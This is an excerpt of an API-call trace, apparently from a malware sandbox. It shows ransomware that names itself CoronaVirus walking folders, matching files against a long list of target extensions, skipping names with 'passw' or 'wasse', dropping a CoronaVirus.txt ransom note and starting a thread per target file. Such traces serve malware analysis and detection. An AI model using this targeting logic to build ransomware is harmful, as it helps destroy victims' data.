	[0081.156] _swprintf (in: param_1=0x2f1a2b8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0081.156] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.156] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.156] wcsstr (_Str="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1a2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0081.156] SetThreadPriority (hThread=0x458, nPriority=15) returned 1
	[0081.159] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.159] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.159] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.159] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.159] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.165] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.165] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.165] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.165] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.165] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.165] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.166] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.166] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.166] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.166] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.171] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.175] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.175] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.176] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.176] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.177] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.177] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.177] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.177] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0081.178] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1
	[0081.178] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.178] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.178] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038") returned 26
	[0081.178] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.178] wcsstr (_Str="C:\\588bce7c90097ed212\\1038", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.178] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.182] _alloca_probe () returned 0x4036d0
	[0081.182] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1038", lpFilePart=0x316583c*="1038") returned 0x1a
	[0081.182] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9bdaf2c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0081.182] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.182] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9bdaf2c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.182] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.182] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9bdaf2c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9bdaf2c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.182] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.182] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.182] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.182] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.182] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.183] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.183] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.183] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.183] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.183] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.183] malloc (_Size=0x1000) returned 0x2f1b2c0
	[0081.183] _swprintf (in: param_1=0x2f1b2c0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\CoronaVirus.txt") returned 42
	[0081.183] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.183] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.183] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.183] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.183] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.183] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.184] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.184] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.185] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.185] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.185] malloc (_Size=0x1000) returned 0x2f1c2c8
	[0081.186] _swprintf (in: param_1=0x2f1c2c8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0081.186] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.186] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.186] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1c2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0081.186] SetThreadPriority (hThread=0x460, nPriority=15) returned 1
	[0081.301] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.301] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.301] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.301] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.301] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.301] malloc (_Size=0x1000) returned 0x2f13060
	[0081.301] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0081.301] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.301] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.301] wcsstr (_Str="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0081.302] SetThreadPriority (hThread=0x418, nPriority=15) returned 1
	[0081.304] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.304] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
